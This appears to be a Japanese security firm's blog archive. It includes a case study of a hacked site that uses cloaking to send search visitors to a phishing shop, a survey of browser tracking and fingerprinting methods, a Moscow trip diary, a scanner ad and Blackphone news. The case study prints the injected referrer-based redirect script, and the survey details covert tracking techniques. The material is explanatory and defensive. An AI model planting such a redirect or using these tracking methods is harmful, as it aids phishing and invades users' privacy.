ハッキング対策実例①~ショッピングサイト運営者様の場合~

日頃から、多くのお問い合わせをいただいております。
今日はその中から、実際の相談内容を紹介させていただきます。

4月下旬、1本の問い合わせメールを頂きました。

その内容は、

当社のショッピングサイトが何者かに不正にクローキングされているので、非常に迷惑している。Googleにも問い合わせしたが、対応してもらえず、会社の存続の危機であり、色々な方に相談したが、対応策が見当たりません。
どうか、話しだけでも聞いてほしい、

との内容でした。

早速、状況確認するため、メールの送り先であるショッピングサイトのオーナーに電話し、話を聞くことにしました。

相談内容は、ある特定のキーワード(実際には、このショッピングサイト名)で、検索すると、上位に、見に覚え内のないサイトが表示される、という内容でした。

実際に、検索して確認してみます。
(仮にキーワードをHOGEとします。)

Googleで、HOGEと入力して検索すると、全く同じタイトル、内容の検索結果が上位に2件表示されていました。

1番目に表示されているサイトにアクセスすると、ショッピングサイトが表示されます。
しかし、このショッピングサイトは、お問い合わせいただいたオーナー様も見に覚えのない、誰かが作成した偽物のショッピングサイトのようでした。
内容はオリジナルを丸コピーしたものでなく、全く別物のショッピングサイトでした。

2番めに表示されているのは、問い合わせされた方の正規のショッピングサイトです。

search

1番目に表示されている検索結果のURLは、www.dummy.comとなっていますが、アクセスして表示される偽のショッピングサイトのURLは、www.fake.jpとなっていました。

ですので、dummy.comから、fake.jpに自動でジャンプされていました。

検索からではなく、アドレスバーに直接、dummy.comとURLを入力してアクセスすると、自動ジャンプされず、dummy.comのコンテンツが表示されます。
ショッピングサイトではなく、海外の情報を発信するサイトが表示されました。

dummy.comがハッキングされ、細工された可能性があります。

アドレスバーに直接dummy.comを入力してソースを表示してみると、下記スクリプトがはいっていました。
<script>var s=document.referrer;if(s.indexOf(“google”)>0 || s.indexOf(“bing”)>0 || s.indexOf(“yahoo”)>0){self.location=’http://www.fake.jp/’;}</script>

このコードは、google、bing、yahooの検索サイトを経由してアクセスした場合は、fake.jpにジャンプさせ、アクセスさせる、という内容です。
ですので、検索からではなく、直接URLを入力するとこのコードは実行されず、dummy.comが表示された事になります。

このdummy.comのコンテンツは、海外のサイトであり、ショッピングサイトでありません。
当然、正規ページの内容や文章、HOGEといったキーワードなどまったく入っていない(そもそも国、言語が違う)、関係ないサイトが、なぜHOGEというキーワードで上位表示されているのでしょうか?

そこで、色々調査する中で以下の内容が判明しました。

Googleは、検索に表示させるサイトを収集するため、定期的に自動巡回プログラムを使ってサイト情報を収集しています。このプログラムをGoogleボットといいます。

通常、人がアクセスするのと変わらないのですが、このGoogleボットにはある特徴があります。それは、自分はGoogleボットです、という情報をもっている事です。

Googleボットにかぎらず、インターネットにアクセスした際、かならず、自分(利用しているブラウザの情報)が相手サーバーに送られます。

これを、User-Agent(ユーザーエージェント)といい、この情報にはアクセスしているブラウザの種類、バージョンなどのがはいっています。

Googleボットの場合、このUser Agentに、自分はGoogleボットです、という情報がはいっています。
アクセスするサーバー側で、このUser Agentが取得できますので、
見せるページを切り替える事ができます。

この切替手法はよく使われており、
たとえば、PCとスマホでは、画面のサイズが異なるので、UserAgentを取得して各端末毎にデザインされたページに切り替えさせて表示させる方法です。

このUser Agentは簡単に偽装できます。
Chromeだと、User-Agent Switcher for Chromeという拡張機能を使うと簡単に実現できます。

では、このUserAngetを偽装して、Googleボットがアクセスしたようにみせ、ハッキングされたサイト、dummy.comにアクセスしてみます。

すると、正規のショッピングサイトのページが表示されました。

また、Googleボットでアクセスした場合、URLが変わっていなかったので正規のショッピングサイトに移動されておらず、dummy.comのままで、正規のサイトが表示されていました。

つまり、YahooやGoogleから検索した場合は、dummy.comを経由して偽のショッピングサイトに誘導し、Googleボットには、正規のショッピングサイトに誘導していました。

また、Googleボットでアクセスした場合、さらに別サーバーに移動している事が分かりました。

まとめると、流れとしては、

①通常のアクセス   —> www.dummy.com —> JavaScriptでリダイレク —-> fake.jp

②Googleボット —> www.dummy.com —> 別の国のサーバ —-> official-site.jp

また、Googleボットでアクセスした際に表示される正規ページの中身は、ミラーリングされており、リアルタイムに情報を取得していました。
正規ページで商品追加などの更新を行うと、dummy.comの表示も即座に反映していました。

fake.jpは、フィッシングサイトであり、個人情報やクレジットカード情報を収集しているサイトと判明しました。
当然、購入しても商品は届きません。
しかし、問い合わせ先が正規サイトの情報が明記されていましたので、見に覚えのない問い合わせが入り、クレームが多発している状況でした。

このdummy.comは、海外の情報発信サイトであり、ページランクも高く、Googleの検索評価も高いと予想され、結果、正規ページより上位(結果1位)に表示されたと考えます。

このオーナー様が色々な方に助言され、対策を行ったが、解決せず当社に問い合わせされた、という経緯になります。

どのような助言をされたのか、聞いたところ、直接解決とは程遠い内容でした。
たとえば、ある業者からSSLを取得する事で、改善されますよ、と言われたそうで、実際に費用を支払、SSLを導入し、対策されておりました。
SSLを取得するという事は、サイト移転と同等です。httpよりhttpsの方が検索結果として優位だとは思いますが、決定的な順位決定事項でなく、まして今回の件が改善されるはずがありません。
逆に一時的に、順位が更に落ちる可能性もあります。
また、うまくいったとしても、1位と2位が入れ替わるだけで、なんら解決策ではありません。

オーナー様は現在の状況をすぐにでも解決したい、との事なのでSEO対策を行い、順位を上げる方法を行っても根本的な解決方法にはなりません。

また、Googleに問い合わせしてもいつになるのか、分からないといった状況です。

このハッキングされているサイトが日本国内で運営、稼働している場合は、サイト管理者にメールや場合よっては直接電話する、弁護士に相談など、色々手法はあるのですが、今回の場合は海外(英語圏ではない)です。

弊社に依頼する前にもこのサイト管理者に対して何度か問い合わせを試みたようですが、対応されていない現状でした。

そこで弊社の技術的チームがあらゆる対応策を洗い出し、対応を行いました。

結果、ご依頼をいただいてから2日でオーナー様が望む結果をだしました。

ご依頼されたオーナー様からは、多大な感謝を頂きました。

 

Web上でのユーザーを追跡する方法

検索エンジンでの私の古いクエリに応じて、Google AdSenseが頻繁にコンテキスト広告を侵入させてくることに私は常に悩まされてきた。検索したときからだいぶ時間が経ち、ブラウザのクッキーやキャッシュを何度か消去しているのにも関わらず、広告が残った。いったいどうやって彼らは私を監視し続けたのだろう?実は、これを行うための方法がたくさんあることが判明した。

まずはじめに

IDやユーザー追跡、または単にWebトラッキングは、特定のサイトを訪問する各ブラウザの一意識別子を計算し設定することを暗示している。元々はここまで悪用されるとは予想だにせず、他のものと同じく、役に立てるようにとまったく逆に考えられたものだった。たとえば、サイト所有者がボットと普通のユーザーを区別したり、ユーザー設定を保存し、二度目以降の訪問でもそれらを使用できる機能を提供するためだ。しかし同時に、この機能は広告業界に非常に好まれてしまった。あなたも良く知っているように、クッキーはユーザーを識別するための最も一般的な方法の一つである。積極的に広告業界で使われ始めたのが90年代半ば頃だ。

その時から多くのことが変わり、技術ははるか先へと進んだ。現在では、ユーザー追跡はクッキーだけに限られない。実際には、いろいろな方法でユーザーを識別することが可能だ。一番ハッキリした方法は、クッキーに似た識別子を設定することだ。次のやり方は、要求を送ったHTTP­ヘッダから収集することができるPCユーザーによって利用されたデータを活用することである。アドレス、使われたOSタイプ、時間など。そして最後に、ユーザーの行動及び習慣(カーソル移動、サイトのお気に入りセクション、等)によってそのユーザーを区別することができる。

明示的な識別子

このアプローチでは、必要とされるすべてのことが大変にハッキリしている。リソースの二度目以降の訪問の際に確認することができる長い間存在した識別子をユーザー側で保存する。最近のブラウザは、ユーザーに対して透過的にこれを実現させる方法をいくつも提供している。何よりも古い親切なクッキーがそれだ。そして、いくつかのプラグインの特徴はクッキーの機能に近い。例えば、フラッシュのLocal Shared Objects 、あるいはシルバーライトのIsolated Storageである。HTML5もクライアント側でいくつかのメカニズムを持っている。localStorage、File、IndexedDB APIなどである。これらの場所以外に、ユニークなマーカーはローカルマシンまたはメタデータキャッシュのキャッシュされたリソースに保存できる。(Last­Modified、ETag)

また、SSL­接続用ブラウザによって定義づけされているOrigin Bound Certificatesから取得した描画、SDCH辞書に含まれるデータ、これらの辞書のメタデータなどからユーザーを識別することが可能である。一言で言えば、やり方は充分すぎるほどあるのだ。

Cookies

クライアント側でそれほど大きくないあるデータ容量を保存することになった場合、まず一般的に考えるのがクッキーだろう。Webサーバーはクッキーに新しいユーザーの一意識別子を保存しながらそれを設定し、それ以降のすべての要求について、クライアントがその識別子をサーバーに送信する。すべての人気あるブラウザは、クッキーで管理された便利なインターフェースによってだいぶ前から提供されているにも関わらず、ネットにおいてはクッキー管理やクッキーブロックのための外部ユーティリティが溢れかえっているのに、クッキーは依然としてユーザー追跡のために活発に利用され続けている。実は、クッキーをチェックして消去する人は結構少ないのだ。(あなたがそれを最後にやったのはいつだったか思い出してみてほしい)おそらくその主な理由は、たとえば認証に使用することができるような必要な「クッキー」を間違って削除するのを皆恐れているのだろう。一部のブラウザでは、サードパーティクッキーの設定を制限することが出来るのに問題は消えず、ブラウザはちょくちょく、ページコンテンツのロード中にHTTPリダイレクトや他の方法を介して受信されたクッキーを「ネイティブ」だと考えてしまう。後で述べるメカニズムの多くと異なるのは、クッキーを使うことがエンドユーザーにとって透過的なことだ。ユーザーを「指定」するためには、必ずしも別のクッキーに一意識別子を保

存する必要はない。いくつかのクッキーの値から収集することもできるし、又はExpiration Timeのようなメタデータに保存することもできる。したがって、この段階でトラッキングするために特定のッキーが使われているのかどうかを把握することは非常に困難である。

ローカル共有オブジェクト

クライアント側でデータを保存するためにAdobe FlashではLSOのメカニズムが使われる。これはHTTPのクッキーのアナログであるが、最新のものと異なり、テキストデータの短い断片を保存することができるだけでなく、何よりもそのようなオブジェクトの分析とチェックを複雑にする。10.3バージョンまでは、フラッシュクッキーの行動はブラウザの設定とは別に調整されていて、macromedia.comサイト上にあるフラッシュ設定マネージャを訪問する必要があった。(ちなみに今もこのリンクで設定できる) 今日では、コントロールパネルから直接行うことができる。さらに最近のブラウザのほとんどはフラッシュプレーヤーとの密接な統合を保証しており、クッキーや他のサイトのデータを削除するときにLSO削除される。一方、ブラウザとプレーヤーの相互作用はまだそれほど密接ではないので、ブラウザ内の外部クッキーのポリシー設定がフラッシュクッキーにいつも反映するわけではない。(Adobeサイトで手動でオフにする方法を見ることができる)

 

FirefoxでのlocalStorageからデータを削除

Silverlightの分離ストレージSilverlightのソフトウェアプラットフォームは、Adobe Flashとの共通点がたくさんある。フラッシュのLocal Shared Objects のアナログとなるのはIsolated Storageと呼ばれるメカニズムだ。実際、フラッシュと違ってプライバシー設定がブラウザにはまったく縛られない。だからブラウザのクッキーとキャッシュを完全消去した場合であっても、Isolated Storageに保存されているデータはどちらにせよ残る。ただもっと興味深いのは、ストレージがすべてのブラウザウィンドウ(「シークレットモード」で開いた場合を除く)や同じマシンにインストールされているすべてのプロファイルで共有されていることだ。LSOのように、技術的な観点からすると、ここにはセッション識別子を保存するための障害は何も存在しない。しかも、ブラウザ設定を通じてこのメカニズムにアプローチできないことを考えると、このメカニズムは一意識別子用のストレージとしてそれほど広く展開することなかった。

 

どこでSilverlightの分離ストレージを探すか

HTML5とクライアント上のデータ保存

HTML5は、クライアント上で構造化データを保存するための一連のメカニズムである。これに相当するのがlocalStorage、File API、IndexedDBだ。違いはあるものの、これらはすべて、特定のリソースにバインドされたバイナリデータの任意の部分を永続的に保存できるように設計されている。加えて、HTTPやFlashクッキーとの違って、保存されたデータの量に有意な制限はない。最新のブラウザにおいてHTML5のストレージはサイトの他のデータと一緒に位置している。しかし、ブラウザ設定を介してのストレージの管理の仕方を推測することは非常に困難である。たとえば、 FirefoxのlocalStorageからデータを削除するために、ユーザーはoffline website dataかsite preferencesを選択し、everythingと同等の期間を設定する必要がある。さらにもう一つのIE特有の変わった機能は、データがそのデータ保存時に開いているタブの存続期間中のみ存在することだ。これに加えて、上記のすべてのメカニズムは、HTTP­クッキーに適用される制限に従おうとはしない。たとえば、localStorageに記述して、外部クッキーを切った状態であってもクロスドメインフレームを通してlocalStorageから読み取ることができる。

 

Flash Playerのためのローカルストレージ設定

キャッシュされたオブジェクト

皆、ブラウザが速やかに、止まることなく動作することを望んでいる。だから、ブラウザは訪れたサイトのリソースをローカル・キャッシュに保存しなければならなくなる。(二度目以降の訪問でそれらを要求しなくて済むように) このメカニズムは明らかにランダムアクセスのストレージとして使用されるためのものではないのだが、そのように変換することが可能である。例えばサーバーは、ボディ内部の一意識別子を伴ったJavaScriptドキュメントをユーザーに戻し、Expires/max­age=ヘッダに遠い未来を設定することができる。このようにしてスクリプト、そしてそれと共に一意識別子がブラウザのキャッシュに登録される。その後、既知のURLからスクリプトのダウンロードを要求し、ウェブ上の任意のページからアクセスすることができる。もちろんブラウザは、スクリプトの新しいバージョンがあるかどうか、定期的にIf­Modified­Sinceヘッダを使って確認する。しかし、もしサーバーがコード304(Not modified)を返してきたら、キャッシュされたコピーが永遠に使用できるようになる。他にキャッシュの面白いところは何か?ここではHTTPクッキーのような「サードパーティ」のオブジェクトという概念はない。同時に、キャッシュを無効にすると真剣にパフォーマンスに影響を与えることができる。いくつかの識別子/ラベルを保存しているリソースの自動検出は、ウェブ上で良く見られるJavaScriptドキュメントの複雑さや容量の大きさに起因して困難になる。もちろんすべてのブラウザは、ユーザーが手動でキャッシュを消去できるようになっている。ただ、経験(自分を例にする)から言うと、もしその作業をしているとしても、そんなに頻繁には行わない。

ETagとLast­Modified

キャッシュが正しく動作するには、ドキュメントのより新しいバージョンがあることをブラウザが何とかサーバーに通知する必要がある。標準のHTTP/1.1は、この問題を解決する2つの方法を提供している。一つ目は、ドキュメントの最終変更日に基づいて、二つ目は、ETagとして知られている抽象的識別子に基づいた方法である。ETagの場合、サーバーは文書と一緒にある応答ヘッダのいわゆるversionタグを最初に返す。指定されたURLへの二度目以降の要求の際、クライアントはIf­None­Matchヘッダーを介してローカルコピーに関連付けられた値をサーバに伝える。このヘッダーで指定されたバージョンが有効であれば、サーバーはHTTPコード304(Not modified)で応答し、クライアントが安全にキャッシュされたバージョンを使用することができる。その逆の場合、サーバーは新しいETagを伴ったドキュメントの新しいバージョンを送ってくる。このアプローチはどこかHTTPクッキーに似ている。サーバーはクライアントの任意の値をあとで計算するためだけにその値を保存する。Last­Modifiedヘッダを使ったもう一つの方法は、のちのちIf­Modefied­Sinceヘッダ内でクライアントによってサーバーに送られる日付文字列内のデータの少なくとも32ビットを保存することができる。興味深いのは、ほとんどのブラウザは、この列が正しい形式で日付を表示する必要がないことだ。キャッシュされたオブジェクトを介してユーザ認証をする場合と同様、クッキーとサイトデータの削除はETagとLast­Modifiedにまったく影響を与えず、キャッシュをクリアにすることによってそれらを取り除くことができる。

 

サーバーはクライアントにETagを返す

HTML5 AppCache

Application Cacheは、ユーザーがオフラインの場合でも、サイトのどの部分をディスクに保存し、利用できるようにしなければならないかを指示することができる。キャッシュのアイテムを保存し、取得するためのルールを設定するマニフェストを使ってすべては管理される。今までのキャッシュのメカニズムと似ているのは、マニフェスト内部と同じように、無期限に保存されているリソース内でAppCacheもユーザーに依存した一意なデータを保存することができることだ。(従来のキャッシュとの違いは、キャッシュからのリソースがある程度時間が経つことで消去されるところ) AppCacheは、HTML5でのデータ保存のメカニズムとブラウザの従来のキャッシュとの中間の値を占める。一部のブラウザでは、クッキーとサイトデータを削除する際にクリーニングされるが、その他は、閲覧の履歴やキャッシュされたすべての文書を削除するときだけだ。

SDCH­辞書

SDCHは、 サーバーによって提供される辞書の使用を基本に、Gzipやdeflateよりも高い圧縮レベルを達成することができたGoogleの圧縮アルゴリズムである。実は普段ウェブサーバーは、ページのヘッダ/フッタ、内蔵JavaScript / CSSなど、あまりにもたくさん繰り返される情報を与えている。このアプローチだとクライアントは、あとに続く応答(同じヘッダー/フッター/ JS / CSS)に表示されることがある文字列を含む辞書ファイルをサーバーから受け取ることになる。その後、サーバーは辞書内のこれらのアイテムを参照することができ、クライアントはそれに基づいて自分でページを収集するようになる。お分かりのように、これらの辞書は、Avail­Dictionaryヘッダ内のサーバーへクライアント自身で返された辞書のIDにも、コンテンツ自体にも直接置くことのできる一意識別子を保存するために、簡単に利用することができる。そしてその後で、ブラウザの従来のキャッシュの場合と同様に使用しようする。

その他の保存メカニズム

しかし、方法はこれで全部ではない。JavaScriptとその同類の仲間を使用して、すべての閲覧履歴やサイトデータを削除した後でさえ存続できるような形で一意識別子を保存し、取得することができる。その方法のひとつは、保存のためにwindow.nameまたはsessionStorageを使うことだ。たとえユーザーがすべてのクッキーとサイトデータを削除しても、追跡サイトが開かれたタブを閉じなかったら、二度目以降のエントリーの際、サーバーによってトークンが受信され、ユーザーは再びそれについて既に収集されたデータに関連付けられてしまう。同じような動作がJSでも観察され、開いているあらゆるJavaScriptコンテキストは、ユーザーがサイトデータを削除した場合でも状態を保存する。この場合、このようなJavaScriptは表示サイトに属するだけでなく、iframeやウェブワーカー内に潜むことができる。たとえば、iframeにダウンロードされた広告は閲覧履歴やデータの削除にはまったく関係なく、JS内のローカル変数に保存されたIDを使用し続ける。

プロトコル

JSや色々なプラグインの利用、キャッシュに関連するメカニズムに加えて、最新のブラウザでは一意識別子の保存および取得を可能にするいくつかのネットワーク機能がある。

1. Origin Bound Certificates(別名Channel ID) ­ クライアントを識別するHTTPSサーバへの永続的な自己署名証明書。それぞれの新しいドメインのために、後に開始する接続に使用する別の証明書が作成される。サイトはユーザー追跡のためにOBCを使用することができ、その際クライアントに気づかれるような何かしらのアクションを実行しない。一意識別子として、正当なSSLハンドシェイクの一部のようにクライアントが提供する証明書の暗号ハッシュを取得することができる。

2. 同様に、TLSにも2つのメカニズムがある。完全なハンドシェイクを実行せずに、中断したHTTPS接続をクライアントによって再開することができるsession identifiersとsession ticketsである。これは、キャッシュされたデータを使用することによって達成される。これら2つのメカニズムは、一人のクライアントからの要求をサーバが短時間で識別することを可能にする。

3. 事実上、すべての最新ブラウザでは名前解決のプロセスをスピードアップするための独自の内部DNSキャッシュを実装する。(場合によっては、DNS rebinding攻撃のリスクを減らす)。このキャッシュは少量の情報を保存するために簡単に使用することができる。例えば、もし16個のIPアドレスを持っている場合、8~9個のキャッシュされた名前でネットワーク上の各コンピュータを識別するのに十分であろう。しかし、このアプローチは、ブラウザの内部DNSキャッシュのサイズによって制限され、名前解決においてDNSプロバイダとの衝突につながる可能性が潜在的にある。

マシンの特徴

ここまで見てきたすべての方法は、ユーザーが二回目以降の要求のためにサーバーに送信される何らかの一意識別子を設定するということが基本になっている。他に、クライアントのマシンの特徴の要求または測定によるユーザー追跡のあまり目立たないアプローチがある。単独だとそれぞれが得た特徴は情報の数ビットだが、もしいくつかを組み合わせた場合、それらは独自にインターネット上のあらゆるコンピュータを識別することができる。しかもそのような追跡を見分けて防止するのは非常に難しいことから、この技術は様々なブラウザやプライベートモードを使用しているユーザーを識別することができてしまう。

ブラウザの「描画」

トラッキングの最も簡単な方法は – 各オプションが別々だとそれぞれは反応しないのに、それらが一緒になると各マシンに固有の値を形成するといった、ブラウザ環境で利用可能なオプションのセットを組み合わせることで識別子を構築することだ。

∙ User­Agent。ブラウザ、OSのバージョン、およびインストールされたアドオンのいくつかを配布。User­Agentが見つからないか “本物”であるかをチェックしたい場合、実装された、あるいはリリース間で変更された特定の機能をチェックすることでブラウザのバージョンを確認することができる。

∙ クロックシステム。もし、システムがサーバー側の時間とクロックを同期していない場合、クロックはJavascriptを使ってマイクロ秒まで正確に測定することができるシステムタイムとリアルタイムの間のユニークな違いを生じさせ、遅かれ早かれ、進んだり遅れたりし始める。実際に、NTPサーバーと同期する場合であっても、どちらにしても測定することができるような小さな変化が生じる。

∙ CPUとGPUに関する情報。これは直接(GL_RENDERERを通じて)か、JavaScriptで実装されたテストとベンチマークを通じて得ることができる。

∙ 画面解像度とブラウザウィンドウのサイズ(マルチモニタシステムの場合の第2のモニターのパラメータを含む)

∙ たとえば、getComputedStyle APIを使用して取得したインストールされているフォントの一覧。

∙ バージョンも含めたすべてのインストールされているプラグイン、ActiveXコントロール、BrowserHelper Object などの一覧。navigator.plugins[ ]探索を使って得ることができる。(一部のプラグインはHTTP­ヘッダー内にその存在を配布)。

∙ インストール型拡張機能、およびその他のソフトウェアに関する情報。広告ブロッカーのような拡張機能は、拡張の種類やその設定を決めることができる現在のページに一定の変更を行う。

ネットの「描画」

さらに、ローカルネットワークのアーキテクチャやネットワークプロトコルの設定においても様々な兆候が見られる。そのような兆候は、クライアントマシンにインストールされているすべてのブラウザで見受けられるようになり、単にプライバシー設定または一部のセキュリティユーティリティでそれらを隠すことはできない。次のようなものがそれだ。

∙ 外部IPアドレス。IPv6アドレスの場合、このベクターは特に興味深い。場合によっては最後のオクテットがデバイスのMACアドレスから得られ、したがって異なるネットワークに接続された場合であっても保存することができる。

∙ 発信TCP / IP接続のポート番号。(通常、ほとんどのOSに一貫して選択される)

∙ NATまたはHTTPプロキシの背後にあるユーザーのためのローカルIPアドレス。外部のIPアドレスと一緒になって独自に顧客の大半を識別することができる。

∙ HTTPヘッダ(X­Forwarded­For)から得たクライアントが利用するプロキシ∙サーバの情報。いくつかの可能なプロキシをバイパスする方法で受信したクライアントの実際のアドレスとの組合せでも、ユーザーを識別することができる。

行動分析や習慣

そしてもう一つのやり方は、PCではなく、地域の設定や行動などのエンドユーザーに関連する特性を見ることだ。このような方法も、プライベートブラウジングの場合においての様々なブラウザセッション、プロファイル間でクライアントを識別することが可能だ。研究のために常に利用可能である以下のデータに基づいて結論を出すことができる。

∙ 優先言語、デフォルトのエンコーディングおよびタイムゾーン(すべてはHTTP­ヘッダ内にあり、JavaScriptから得られる)

∙ クライアントのキャッシュ内のデータと閲覧履歴。キャッシュの要素は、時間の攻撃により検出することができる。追跡者は、単にダウンロードの時間を計測することにより、人気のあるリソースに関連するキャッシュの長寿命の要素を検出することができる。(時間が予想されるローカルキャッシュからのダウンロード時間を超えた場合、動作をキャンセルする) また、ブラウザの履歴に保存されたURLを抽出することもできるが、そのような攻撃は最新のブラウザではユーザーのちょっとした操作を必要とする。

∙ マウスジェスチャー、キーストロークの頻度および持続時間、加速度計データ ­ これらのパラメータのすべては、各ユーザーに固有である。

∙ サイトの標準フォントの変更とそのサイズ、zoomのレベル、テキストの色、サイズなどの特別な機能の使用。

∙ クライアントによってカスタマイズされたブラウザの特定の機能のステータス:サードパーティクッキーのブロック、DNS prefetching、ポップアップブロッカー、Flashのセキュリティ設定など(皮肉なことに、デフォルトの設定を変更したユーザーは、実際には、自分のブラウザを簡単に識別できるようにしてしまう)これは、表面的に存在する明らかな方法である。もしもっと掘り下げたい場合は、さらに方法を思いつくことができる。

まとめ

ご覧のように、実際には、ユーザーを追跡するためのさまざまな方法がある。それらのいくつかは、実装の間違いや欠落の結果であり、理論的には補正することが可能となる。他の方法となると、コンピュータネットワークの原理やウェブアプリケーション、ウェブブラウザを完全に変更をしないことには、実際に根絶することは不可能である。何らかの技術で対抗できるのは、キャッシュやクッキー、または一意識別子を保存することができる他の場所をきれいにすることだ。他は、ユーザーには完全に気づかれないように作動し、それらからの防御はまず上手くいかない。したがって最も重要なことは、プライベート閲覧モードでのネットサーフィンであろうと、あなたの動きはどちらにしても追跡されていることを覚えておくことだ。390870_3121815863768_2033907823_n

 

 

 

ロシアハッカー奮闘出張記!

去る11/16~11/19までロシアのモスクワにてwhitehackerz事業の海外出張を行ないました。ロシアと聞くと我々PCオタクのイメージでは『強力なハッカーがいる』or『金髪美女』以外に思いつかない事と存じますが、我々白Z一行はこの真実を探るべく一路ロシアへと乗り込みました。-12℃のなかかけずり回り情報収集し結果、イメージ通りの国である事がわかり、それらすべてを満喫してきましたが、そこはwhitehackerz!しっかり仕事こなしてきましたよ!!!IMG_0363 (2) 今回はその出張記を余すことなく公開致します!まず一行は成田空港よりアエロフロートにて10時間!モスクワへと向かいました!

出発前の校長

IMG_0285 (2)   モスクワ到着!そこには新旧いい具合におり混ざった建物が!IMG_0287 (3)IMG_0289 (2)IMG_0292 (2)IMG_0294 (2) ハウステンボスの様な風景が延々と続き、ロシアに来たのだなぁ。。。と感慨深い中、先ずはホテルでチェックイン!IMG_0295 (2) ホテルには当然金髪が!!!IMG_0372 (2) テンションあがりMAXでしたが今晩は売春は控えて、明日の商談に備えます!ホテル近隣で食事をしました!モスクワには寿司と刺身を提供している飲食店が4000件以上ありいつの間にか定着しているようです。今回はアサヒスーパードライだけ楽しみました!10時間のフライトをねぎらってかんぱ~い!IMG_0302 (2)   翌日、まずはロシアルーブルへ両替に行くついでにホテル周りを散策!モスクワ川を渡ります!IMG_0307 (2) モスクワ川を渡ると、旧ソ連時代の建物群の中に突如現れた近代高層ビル群!ロシアの天然資源マネーの勢いを感じます!IMG_0308 (2) その後、一件目のアポイントへ!IMG_0309 (2) ロシアにて情報セキュリティ誌の『info security』を出版しているGroteck社へ!IMG_0311 (2) とても著名な雑誌で、イベントなども東欧・ロシアにて行なっている企業です!諸々の業務提携案を話し合い無事合意致しました!IMG_0310 (2) また彼らは、made in japan のセキュリティソフトや商品なども紹介して欲しいと言うので、今後我々は東欧・ロシアにてセキュリティ製品の普及を希望する日本国内のベンダーの橋渡しも行う事になりました。自社の製品の世界展開を検討中の企業様のお問合わせお待ちしております。写真白Z右(左から2番目)がGroteck社の社長Andrey Miroshikin氏です!IMG_0312 (2) その後、次のアポイントへ!次のアポイントはG社と人気を分かつハッカー雑誌である『хакер』社のオーナー代表との会食!オーナーのディミトリー氏が予約してくれた、パキスタン料理店へ!IMG_0316 (2) こちらの料理が素晴らしい!日本食を除けば、これまでの料理でNO1の料理の数々でした!хакер社(http://xakep.ru/)とも無事業務提携完了!皆様がおそらくgoogle翻訳など駆使して一度は見たことがあるであろうхакерの日本総代理店及び独占翻訳・出版契約そして○○契約まで交わしました!今後は我々の翻訳に期待下さい!IMG_0318 (2) 上記右下がディミトリー社長!その後町の観光でドライバーしてくれました!やはりとある極秘ルートでの接触が功を奏したのか?食事も御馳走になり感謝感謝です!必ず成功させて恩義に報いますのでディミトリー社長!今後とも宜しくお願い致します!IMG_0349 (2) 運転してくれるディミトリー社長!ユダヤ人なので例のお帽子つけてまます!IMG_0351 (2) IMG_0324 (2)IMG_0325 (2)IMG_0327 (2) レーニンが眠る墓!IMG_0332 (2)IMG_0335 (2)IMG_0331 (2) 赤の広場横の百貨店にて『世界一おいしいアイスクリーム』を食べました。IMG_0341 (2)IMG_0339 (2)IMG_0340 (2)   旧ソ連時代から使用している外務省です!素晴らしい建物です! IMG_0294 (2)IMG_0319 (2)やはり時代に即した製品作りが大事であり、現在作成中のセキュリティ製品の次の作品の構想も固まりました!写真はその彼らと合流する前に校長と白Z!IMG_0322 (2) IMG_0348 (2) IMG_0368 (2) 出来whitehackerzの世界制覇へと大きく前進しました!皆が待ち望むハッカー雑誌を至急発売しますのでご期待下さい!!!ではまた!IMG_0389 (2)   IMG_0384 (2)IMG_0394 (3)

Samurai Scan無料版ダウンロードの案内

皆様お待たせ致しました。遂に完全版として脆弱性スキャナーが完成致しました!samuraiscan951357

デモアカウントは九月末までお申し込みの方には無料で2週間使用できるように設定しております。また、1無料アカウントでスキャン出来る上限は20回までとさせて頂いております。

ダインロードはハッキングチャレンジサイト8946(http://www.hackerschool.jp/hack/)のTOPページにあるバナーからどうぞsamuraiscan888553322

またはこちら⇒http://www.hackerschool.jp/hack/samuraiscan/index.php

クリックすると、入力フォームがありますので必要事項を入力して頂き送信頂くとログイン情報が自動で返信されます。samuraiscan888553355

皆様の使用感や不具合情報など、info@whitehackerz.jpまでおよせ頂ければと思います。

 

盗聴防止携帯電話スマートフォン

「Baidu IME」が入力した文字列をすべて無断でサーバに送信していたり、アメリカ国家安全保障局による全世界50億台の携帯電話の位置情報の追跡など、スマートフォンにまつわるプライバシー流出の問題は後を絶つ気配がありません。2014年2月24日からスペイン・バルセロナで開催されているMWV(Mobile World Congress)の会場では、「プライバシー管理を最優先した」という新たなスマートフォン「Blackphone」が発表され、同時に予約受付を開始しました。

blackphone
https://www.blackphone.ch/


Blackphone: an Android phone that puts privacy first | The Verge
http://www.theverge.com/2014/2/24/5441642/blackphone-silent-circle-geeksphone-pre-order-launch

今回発表されたBlackphoneは、Android OSをベースにセキュリティ機能を高めた「PrivatOS」を搭載してデータの暗号化と匿名性を向上させ、プライバシーの保護を念頭に開発されたスマートフォン。端末には、P2P技術を用いることで音声通話とビデオ通信を暗号化するアプリ「Silent Phone」や同レベルのメール送受信が可能な「Silent Text」、アドレス帳のデータ流出を防止する「Silent Contacts」などのアプリがプリインストールされています。各アプリともすでにiOS版およびAndroid版でのサービスが有償で提供されていますが、Blackphoneを購入したユーザーは2年間にわたって利用料が無料となります。

さらに、アプリ由来のプライバシー流出に対処しているのもBlackphoneの特徴の一つです。PrivatOSはセキュリティ機能を高めたOSとはいえ、ベースになっているのはオープンソースであるAndroidであるため、Google Playなどからアプリをダウンロードして使用することが可能。そのため、アプリによるセキュリティ被害や悪意のあるソフトウェアによるプライバシー流出のリスクが存在しますが、Blackphoneには「Security Center」というアプリケーションがインストールされ、アプリによるアドレス帳やGPSデータへのアクセスを詳細に制御することが可能となっています。


Blackphoneの開発を行ったのはスイスに拠点を置くBlackphone社で、暗号化通信によってコミュニケーションの秘匿化を高めるサービスを提供するSilent Circle社とスペインのスマートフォンメーカーであるGeeksphone社による合弁企業。Silent Circle社の共同設立者には、暗号ソフトウェアPGP(Pretty Good Privacy)を開発したフィル・ジマーマン氏が名を連ねています。

Blackphoneは4.7インチのフルHD対応IPSディスプレイを搭載しており、プロセッサには2GHzクアッドコアを採用。ストレージ容量は16GBで、8メガピクセルのカメラを搭載してLTE対応というスペックとなっており、近年のスマートフォンの主流に沿ったものとなっています。端末価格は629ドル(約6万4500円)で、同社では「Silent Phone」などのセキュリティソフトの利用料などを合計すると「1508ドル(約15万5000円)相当のバリュー」があるとしています。


